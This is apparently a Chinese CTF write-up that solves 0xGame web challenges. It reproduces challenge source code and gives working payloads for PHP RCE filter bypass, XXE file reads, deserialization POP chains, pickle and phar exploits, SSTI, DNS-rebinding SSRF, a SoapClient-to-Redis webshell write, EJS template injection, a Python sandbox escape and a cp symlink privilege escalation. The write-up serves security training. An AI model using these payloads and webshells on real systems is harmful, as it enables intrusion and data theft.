本文最后更新于 2025-12-19T18:53:18+08:00
WEEK1 Lemon flag在源码中
Http的真理,我已解明
GET传hello=web
POST传http=good
cookie传Sean=god
UA头设置Safari
Referer设置为www.mihoyo.com
设置请求头Via为clash
RCE1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php error_reporting (0 );highlight_file (__FILE__ );$rce1 = $_GET ['rce1' ];$rce2 = $_POST ['rce2' ];$real_code = $_POST ['rce3' ];$pattern = '/(?:\d|[\$%&#@*]|system|cat|flag|ls|echo|nl|rev|more|grep|cd|cp|vi|passthru|shell|vim|sort|strings)/i' ;function check (string $text ): bool { global $pattern ; return (bool ) preg_match ($pattern , $text ); }if (isset ($rce1 ) && isset ($rce2 )){ if (md5 ($rce1 ) === md5 ($rce2 ) && $rce1 !== $rce2 ){ if (!check ($real_code )){ eval ($real_code ); } else { echo "Don't hack me ~" ; } } else { echo "md5 do not match correctly" ; } }else { echo "Please provide both rce1 and rce2" ; }?>
md5比较可以数组绕过,然后执行命令函数可以选exec,没回显可以写文件,其他的可以\绕过
1 2 3 ?rce1[]=1 rce2[]=2 &rce3=exec('l\s />a.txt' );
1 2 3 ?rce1[]=1 rce2[]=2 &rce3=exec('c\at /fl\ag />a.txt' );
留言板(粉) 先是登录界面,弱密码爆破出用户是admin,密码是admin123
跳转到/xxxxmleee.php页面,有个留言板,是XXE漏洞
利用外部实体注入读文件,payload:
1 2 3 <?xml version="1.0" ?> <!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///flag" > ]> <x > &xxe; </x >
留言板_reVenge 和上题一样的解法
Rubbish_Unser 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 <?php error_reporting (0 );highlight_file (__FILE__ );class ZZZ { public $yuzuha ; function __construct ($yuzuha ) { $this -> yuzuha = $yuzuha ; } function __destruct ( ) { echo "破绽,在这里!" . $this -> yuzuha; } }class HSR { public $robin ; function __get ($robin ) { $castorice = $this -> robin; eval ($castorice ); } }class HI3rd { public $RaidenMei ; public $kiana ; public $guanxing ; function __invoke ( ) { if ($this -> kiana !== $this -> RaidenMei && md5 ($this -> kiana) === md5 ($this -> RaidenMei) && sha1 ($this -> kiana) === sha1 ($this -> RaidenMei)) return $this -> guanxing -> Elysia; } }class GI { public $furina ; function __call ($arg1 , $arg2 ) { $Charlotte = $this -> furina; return $Charlotte (); } }class Mi { public $game ; function __toString ( ) { $game1 = @$this -> game -> tks (); return $game1 ; } }if (isset ($_GET ['0xGame' ])) { $web = unserialize ($_GET ['0xGame' ]); throw new Exception ("Rubbish_Unser" ); }?>
可以利用HSR类中__get()魔术方法中的eval($castorice);进行RCE
在HI3rd类中的__invoke()魔术方法中return $this -> guanxing -> Elysia;调用了不存在的属性,可以触发__get()魔术方法,其中要先满足MD5比较和sha1比较,数组绕过即可
在GI类中的__call()魔术方法中return $Charlotte();将Charlotte对象当作函数调用,可以触发__invoke()魔术方法
在Mi类中的__toString魔术方法中$game1 = @$this -> game -> tks();以调用不存在的函数tks,可以触发__call()魔术方法
在ZZZ类中的__destruct()中echo "破绽,在这里!" . $this -> yuzuha;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php class ZZZ { public $yuzuha ; }class HSR { public $robin ; }class HI3rd { public $RaidenMei ; public $kiana ; public $guanxing ; }class GI { public $furina ; }class Mi { public $game ; }$a = new ZZZ (new Mi ());$a ->yuzuha->game = new GI ();$a ->yuzuha->game->furina = new HI3rd ();$a ->yuzuha->game->furina->kiana = 0 ;$a ->yuzuha->game->furina->RaidenMei = '0' ;$a ->yuzuha->game->furina->guanxing = new HSR ();$a ->yuzuha->game->furina->guanxing->robin = "system('ls');" ;$b = array ($a ,0 );$ser = serialize ($b );echo $ser ;$c = str_replace ('i:1' ,'i:0' ,$ser );echo $c ;?>
Lemon_RevEnge 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from flask import Flask,request,render_templateimport jsonimport os app = Flask(__name__)def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v)class Dst (): def __init__ (self ): pass Game0x = Dst()@app.route('/' ,methods=['POST' , 'GET' ] ) def index (): if request.data: merge(json.loads(request.data), Game0x) return render_template("index.html" , Game0x=Game0x)@app.route("/<path:path>" ) def render_page (path ): if not os.path.exists("templates/" + path): return "Not Found" , 404 return render_template(path) a = "" if __name__ == '__main__' : app.run(host='0.0.0.0' , port=9000 )
很明显下面代码存在原型链污染
1 2 3 4 5 6 7 8 9 10 11 def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v)
1 2 3 4 5 @app.route("/<path:path>" ) def render_page (path ): if not os.path.exists("templates/" + path): return "Not Found" , 404 return render_template(path)
可以污染os.path下的常量pardir来实现目录遍历
1 { "__init__" : { "__globals__" : { "os" : { "path" : { "pardir" : "." } } } } }
WEEK2 你好,爪洼脚本 直接控制台运行
1 0xGame {Hello,JavaScript}
DNS想要玩 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from flask import Flask, requestfrom urllib.parse import urlparseimport socketimport os app = Flask(__name__) BlackList = [ 'localhost' , '@' , '172' , 'gopher' , 'file' , 'dict' , 'tcp' , '0.0.0.0' , '114.5.1.4' ]def check (url ): url = urlparse(url) host = url.hostname host_acscii = host.encode('idna' ).decode('utf-8' ) return socket.gethostbyname(host_acscii) == '114.5.1.4' @app.route('/' ) def index (): return open (__file__).read()@app.route('/ssrf' ) def ssrf (): raw_url = request.args.get('url' ) if not raw_url: return 'URL Needed' for u in BlackList: if u in raw_url: return 'Invaild URL' if check(raw_url): return os.popen(request.args.get('cmd' )).read() else : return "NONONO" if __name__ == '__main__' : app.run(host='0.0.0.0' , port=8000 )
要满足访问的是114.5.1.4,但是在黑名单中过滤了,就利用DNS重绑定
网站:https://lock.cmpxchg8b.com/rebinder.html
只要修改前一个A即可
1 /ssrf?url=http://72050104.c0a80001.rbndr.us&cmd=cat /flag
马哈鱼商店 先随便注册个账号登录
这里买FLAG得到的是错误的,是要买最后的Pickle,抓包得到修改参数
原始包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /buy HTTP/1.1 Host : 9000-18361396-ce60-4ec0-abe6-a1c2e14a9514.challenge.ctfplus.cnContent-Length : 16Cache-Control : max-age=0Accept-Language : zh-CN,zh;q=0.9Origin : http://9000-18361396-ce60-4ec0-abe6-a1c2e14a9514.challenge.ctfplus.cnContent-Type : application/x-www-form-urlencodedUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://9000-18361396-ce60-4ec0-abe6-a1c2e14a9514.challenge.ctfplus.cn/vamosAccept-Encoding : gzip, deflate, brCookie : session=eyJ1c2VyIjoiMSJ9.aOkhhA.Z62lT759RIS8T96MOTOH-6FrJIAConnection : keep-alivepid =8 &discount=1
发现有个discount参数,是打折扣的,可以任意修改使我买得起Pickle
点Here到/pickle_dsa,得到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 BlackList = [b'' , b'' ] @app.route('/pickle_dsa' ) def pic (): data = request.args.get('data' ) if not data: return "Use GET To Send Your Loved Data" try : data = base64.b64decode(data) except Exception: return "Cao!!!" for b in BlackList: if b in data: return "卡了" p = pickle.loads(data) print (p) return f"<p>Vamos! {p} <p>
是pickle反序列化,过滤了\x00和\x1e,有一层base64编码,利用subprocess.check_output执行命令得到输出
1 2 3 4 5 6 7 8 9 10 import pickleimport base64import subprocessclass Exploit : def __reduce__ (self ): return (subprocess.check_output,(['env' ],)) payload = pickle.dumps(Exploit(),protocol=0 )print (base64.b64encode(payload).decode())
1 Y2NvbW1hbmRzCmNoZWNrX291dHB1dApwMAooKGxwMQpWZW52CnAyCmF0cDMKUnA0Ci4 =
404NotFound 是SSTI
过滤了.、request 、globals、os、import等
1 {{lipsum['__glo' 'bals__' ] ['o' 's' ] ['pop' 'en' ] ('cat /flag')['read' ] ()}}
我只想要你的PNG! 看源码发现check.php文件
访问可以看到根目录下的文件
并且发现上传的文件会显示在这里
文件名会显示到这里,尝试在文件名处写一句话木马,让check.php成为后门
1 <?php eval ($_POST ['shell' ]);?> a.png
可以成功连接上
Plus_plus 注释有提示参数
输入得到完整源码
利用自增绕过
1 2 3 ?0xGame =1&1=system&2=cat /f14ggggweb =$_ =[]._;$__ =$_ [1];$_ =$_ [0];$_ ++;$_1 =++$_ ;$_ ++;$_ ++;$_ ++;$_ ++;$_ =$_1 .++$_ .$__ ;$_ =_.$_ (71).$_ (69).$_ (84);$$_ [1]($$_ [2]);
这真的是反序列化 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php highlight_file (__FILE__ );error_reporting (0 );class pure { public $web ; public $misc ; public $crypto ; public $pwn ; public function __construct ($web , $misc , $crypto , $pwn ) { $this ->web = $web ; $this ->misc = $misc ; $this ->crypto = $crypto ; $this ->pwn = $pwn ; } public function reverse ( ) { $this ->pwn = new $this ->web ($this ->misc, $this ->crypto); } public function osint ( ) { $this ->pwn->play_0xGame (); } public function __destruct ( ) { $this ->reverse (); $this ->osint (); } }$AI = $_GET ['ai' ];$ctf = unserialize ($AI );?>
在osint方法中$this->pwn->play_0xGame();调用了不存在的方法,这里用原生类SoapClient,可以触发类里的__call()方法,然后有注释提示Redis20251206,所以是要用SoapClientSSRF打Redis,Redis密码就是20251206
https://blog.csdn.net/qq_42181428/article/details/100569464
https://xz.aliyun.com/news/2640
https://www.php.net/manual/en/class.soapclient.php
利用SoapClient的CRLF注入漏洞, 在URI参数中注入\r\n实现HTTP头部注入
官方WP脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php class pure { public $web ; public $misc ; public $crypto ; public $pwn ; }$a = new pure ();$a ->web = 'SoapClient' ;$a ->misc = null ;$target = 'http://127.0.0.1:6379/' ;$poc = "AUTH 20251206\r\nCONFIG SET dir /var/www/html/\r\nCONFIG SET dbfilename shell.php\r\nSET x '<?= @eval(\$_POST[1]) ?>'\r\nSAVE" ;$a ->crypto = array ('location' => $target , 'uri' => "hello\"\r\n" . $poc . "\r\nhello" );echo urlencode (serialize ($a ));
Redis攻击命令:
AUTH 20251206:Redis认证,登录的密码
CONFIG SET dir /var/www/html/:设置数据存储目录为web根目录
CONFIG SET dbfilename shell.php:设置数据库文件名为shell.php
SET x '<?= @eval($_POST[1]) ?>':写入PHP webshell
SAVE:保存到文件
然后蚁剑连接看环境变量
1 http://80 -8072a66f-c9d3-49b3 -bc4e-3713433fe163.challenge.ctfplus.cn/shell.php
WEEK3 这真的是文件上传 看App.js源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 const express = require ('express' );const ejs = require ('ejs' );const fs = require ('fs' );const path = require ('path' );const app = express (); app.set ('view engine' , 'ejs' ); app.use (express.json ({ limit : '114514mb' }));const STATIC_DIR = __dirname;function serveIndex (req, res ) { var whilePath = ['index' ]; var templ = req.query .templ || 'index' ; if (!whilePath.includes (templ)){ return res.status (403 ).send ('Denied Templ' ); } var lsPath = path.join (__dirname, req.path ); try { res.render (templ, { filenames : fs.readdirSync (lsPath), path : req.path }); } catch (e) { res.status (500 ).send ('Error' ); } } app.use ((req, res, next ) => { if (typeof req.path !== 'string' || (typeof req.query .templ !== 'string' && typeof req.query .templ !== 'undefined' && typeof req.query .templ !== null ) ) res.status (500 ).send ('Error' ); else if (/js$|\.\./i .test (req.path )) res.status (403 ).send ('Denied filename' ); else next (); }) app.use ((req, res, next ) => { if (req.path .endsWith ('/' )) serveIndex (req, res); else next (); }) app.put ('/*' , (req, res ) => { const filePath = path.join (STATIC_DIR , req.path ); fs.writeFile (filePath, Buffer .from (req.body .content , 'base64' ), (err ) => { if (err) { return res.status (500 ).send ('Error' ); } res.status (201 ).send ('Success' ); }); }); app.listen (80 , () => { console .log (`running on port 80` ); });
可以看到只能渲染index.ejs文件,但是拒绝.js或者..的结尾,还有个文件上传的地方,就是使用PUT请求方法,传入的参数名是content,使用JSON的格式,并且值是进行base64编码的
这里就是打ejs模板注入,利用可以传文件的功能把执行命令的代码写入index.ejs中,对结尾有过滤可以用index.ejs/.绕过,根据下载的附件可知渲染的路径就是/views/index.ejs/.
1 <%= process .mainModule.require ('child_process' ).execSync('env' )%>
1 PCU9IHByb2Nlc3MubWFpbk1vZHVsZS5yZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoJ2VudicpJT4 =
成功后直接浏览器刷新一下就可以看到命令执行后的结果了
1 0xGame {Do_Not_Templ_Ejs_Injection}
New_Python! 随便注册个账号登录进去,可以下载一个文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from Crypto.Util.number import getPrime, bytes_to_longfrom gmpy2 import invertimport randomimport uuid msg= b'' BITS = 1024 e = 65537 p = getPrime(BITS//2 ) q = getPrime(BITS//2 ) n = p * q phi = (p - 1 ) * (q - 1 ) d = int (invert(e, phi)) key = bytes_to_long(msg) c = pow (key, e, n) dp = d % (p - 1 ) key = "" key = key.encode() key = int .from_bytes(key, 'big' ) pa = uuid.uuid8(a=key)
这里要做个RSA密码题得到a的值,然后去找b和c的值,用这三个值生成的UUID8的值就是admin的密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from Crypto.Util.number import long_to_bytesimport gmpy2 n = 70344167219256641077015681726175134324347409741986009928113598100362695146547483021742911911881332309275659863078832761045042823636229782816039860868563175749260312507232007275946916555010462274785038287453018987580884428552114829140882189696169602312709864197412361513311118276271612877327121417747032321669 e = 65537 c = 46438476995877817061860549084792516229286132953841383864271033400374396017718505278667756258503428019889368513314109836605031422649754190773470318412332047150470875693763518916764328434140082530139401124926799409477932108170076168944637643580876877676651255205279556301210161528733538087258784874540235939719 dp = 7212869844215564350030576693954276239751974697740662343345514791420899401108360910803206021737482916742149428589628162245619106768944096550185450070752523 edp = e * dp - 1 for k in range (1 , e): if edp % k == 0 : p = edp // k + 1 if n % p == 0 : q = n // p break else : print ("未找到分解" ) exit(1 ) phi = (p - 1 ) * (q - 1 ) d = gmpy2.invert(e, phi) m = pow (c, d, n) key = long_to_bytes(m)print (key.decode())
运行得到结果:
1 key {rsaisfunbutisitweborcrypto}
所以a的值就是
1 a = rsaisfunbutisitweborcrypto
响应头中可以得到b的值
扫目录可以扫到/auth,可以得到c的值
最后看一下UUID8的源码,是python版本3.14以上才有的
就是传入的三个值嘛
1 2 3 4 5 6 7 8 9 import uuid key = "rsaisfunbutisitweborcrypto" a = key.encode() a = int .from_bytes(a, 'big' ) b = 120604030108 c = 7430469441 print (uuid.uuid8(a=a,b=b,c=c))
1 63727970 -746 f-849 c-8000 -0001 bae3f741
这就是admin的密码,成功登录
直接env查看环境变量
1 0 xGame{Only_Python14&15_UUID8}
消栈逃出沙箱(1)反正不会有2 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from flask import Flask, request, Responseimport sysimport io app = Flask(__name__) blackchar = "&*^%#${}@!~`·/<>" def safe_sandbox_Exec (code ): whitelist = { "print" : print , "list" : list , "len" : len , "Exception" : Exception } safe_globals = {"__builtins__" : whitelist} original_stdout = sys.stdout original_stderr = sys.stderr sys.stdout = io.StringIO() sys.stderr = io.StringIO() try : exec (code, safe_globals) output = sys.stdout.getvalue() error = sys.stderr.getvalue() return output or error or "No output" except Exception as e: return f"Error: {e} " finally : sys.stdout = original_stdout sys.stderr = original_stderr@app.route('/' ) def index (): return open (__file__).read()@app.route('/check' , methods=['POST' ] ) def check (): data = request.form['data' ] if not data: return Response("NO data" , status=400 ) for d in blackchar: if d in data: return Response("NONONO" , status=400 ) secret = safe_sandbox_Exec(data) return Response(secret, status=200 )if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=9000 )
黑名单禁用了 &*^%#${}@!~`·/<> 这些,白名单只允许使用print、list、len、Exception这四个内置函数,只能在受限的环境中执行代码
有个/check路由接收 POST 参数data可以在这个沙箱中执行传入的代码
这题就是沙箱逃逸,可以通过__class__这样的属性链获取到执行命令的函数
1 data=print (list.__class__.__base__.__subclasses__ ()[155] .__init__.__globals__['popen' ] ('env' ).read ())
1 0 xGame{StackFrame_Wanna_Escape _Now}
长夜月 随便注册一个账号登录,发现只能管理员
然后看Cookie,有JWT鉴权,伪造一下,把username伪造成admin
带着伪造的token去登录就可以了
有个提交的地方,抓包看一下
看源码,要满足日期小于2025-08-03就可以得到flag了
这就是打JS原型链污染,用__proto__污染掉原型的min_public_time这个属性的值
1 2 3 4 5 { "__proto__" : { "min_public_time" : "2025-08-02" } }
文件查询器(蓝)
有读文件的功能,直接读环境变量文件了/proc/self/environ,可以得到base64编码的内容
1 0 xGame{Y0u_Are_Rea11y_a_Ph4r _G0d!}
这应该是非预期了
下面是预期解,读源码index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php error_reporting (0 );class MaHaYu { public $HG2 ; public $ToT ; public $FM2tM ; public function __construct ( ) { $this -> ZombiegalKawaii (); } public function ZombiegalKawaii ( ) { $HG2 = $this -> HG2; if (preg_match ("/system|print|readfile|get|assert|passthru|nl|flag|ls|scandir|check|cat|tac|echo|eval|rev|report|dir/i" ,$HG2 )) { die ("这这这你也该绕过去了吧" ); } else { $this -> ToT = "这其实是来占位的" ; } } public function __destruct ( ) { $HG2 = $this -> HG2; $FM2tM = $this -> FM2tM; echo "Wow" ; var_dump ($HG2 ($FM2tM )); } }$file =$_POST ['file' ];if (isset ($_POST ['file' ])) { if (preg_match ("/'[\$%&#@*]|flag|file|base64|go|git|login|dict|base|echo|content|read|convert|filter|date|plain|text|;|<|>/i" , $file )) { die ("对方撤回了一个请求,并企图萌混过关" ); } echo base64_encode (file_get_contents ($file )); }
在MaHaYu类中过滤了很多执行命令的函数,但是shell_exec可以用,读文件的地方有phar伪协议可以用,这就是打Phar反序列化
看有传文件的功能,可以读upload.php的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php error_reporting (0 );$White_List = array ("jpg" , "png" , "pdf" );$temp = explode ("." , $_FILES ["file" ]["name" ]);$extension = end ($temp );if (($_FILES ["file" ]["size" ] && in_array ($extension , $White_List ))) { $content =file_get_contents ($_FILES ["file" ]["tmp_name" ]); $pos = strpos ($content , "__HALT_COMPILER();" ); if (gettype ($pos )==="integer" ) { die ("你猜我想让你干什么喵" ); } else { if (file_exists ("./upload/" . $_FILES ["file" ]["name" ])) { echo $_FILES ["file" ]["name" ] . " Already exists. " ; } else { $file = fopen ("./upload/" .$_FILES ["file" ]["name" ], "w" ); fwrite ($file , $content ); fclose ($file ); echo "Success ./upload/" .$_FILES ["file" ]["name" ]; } } }else { echo "请重新尝试喵" ; } ?>
这里会检查文件内容和后缀名,可以用gzip压缩后改后缀名为.png绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class MaHaYu { public $HG2 = "shell_exec" ; public $ToT = "123" ; public $FM2tM = "env" ; }$a = new MaHaYu ();$phar = new Phar ("phar.phar" );$phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" );$phar ->setMetadata ($a ); $phar ->addFromString ("test.txt" , "test" );$phar ->stopBuffering ();
gzip压缩
改后缀名
上传文件
用phar伪协议读上传的文件
1 0 xGame{Y0u_Are_Rea11y_a_Ph4r _G0d!}
放开我的变量 打开是个博客,在robots.txt中可以得到/asdback.php
打开是个可以直接连蚁剑的
根目录有flag文件,但是没权限读,要提权
查看系统进程
看到start.sh,读一下
1 2 3 4 5 6 7 8 9 10 11 #!/bin/bash cd /var/www/html/primarywhile :do cp -P * /var/www/html/marstream/ chmod 755 -R /var/www/html/marstream/ sleep 5sdone &exec apache2-foreground
就是每五秒将/var/www/html/primary目录下的所有内容复制到/var/www/html/marstream/目录下,并且给了这个目录755权限可读可执行
https://infernity.top/2025/02/12/N1CTF2025/#backup
这里就想到使用软链接,但是下面这个命令使用的-P这个选项使符号链接不会被解引用
1 cp -P * /var/www/html/marstream/
可以用-H参数来覆盖-P参数
cp -H 会让 cp 命令在遇到符号链接时,按照符号链接指向的目标文件进行复制,而不是直接复制符号链接本身。
创建一个-H的文件,这样在执行命令的时候命令就是:
1 cp -P -H /var/www/html/marstream/
这就可以正常利用软链接了,创建-H文件夹:
或者是:
--的作用是不解析后面的参数
然后在/var/www/html/primary目录下创建软链接
最后在/var/www/html/marstream目录下可以读f从而读到flag的内容
1 cat /var/www/html/marstream/f
完整的命令:
1 2 3 4 cd /var/www/html/primaryecho "" > -Hln -s /flag fcat /var/www/html/marstream/f
WEEK4 SpringShiro jd-gui打开附件jar包,可以找到管理员密码
存在heapdump泄露,登录后访问/actuator/heapdump可下载到heapdump文件
利用JDumpSpider-master工具对文件分析
https://github.com/whwlsfb/JDumpSpider
1 java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
可以得到Shirokey
1 SdTQNlmlZY1LZa8g2OJHmg = =
借助Shiro反序列化工具进行RCE
写入内存马
蚁剑连接
根目录终端执行readflag
绳网委托Bottle版 看了WP才知道这题是Bottle框架的SSTI,过滤了尖括号
看开发者文档:https://osgeo.cn/bottle/stpl.html
1 2 3 4 5 <div> % if True : <span>content</span> % end </div>
这里利用空白控制打SSTI,使攻击代码在渲染后的HTML中不可见
可以利用 Bottle 框架的abort()函数会显出SSTI的结果,如:
1 2 from bottle import abort abort(404 , '' .__class__)
1 __import__ ('bottle' ).abort(404 ,__import__ ('os' ).popen('whoami' ).read())
1 2 3 4 5 <div> % if __import__ ('bottle' ).abort(404 ,__import__ ('os' ).popen('cat /flag' ).read()): <span>content</span> %end </div>
1 0 xGame{Bottle_ is _ an_ Amazing_ Framework!}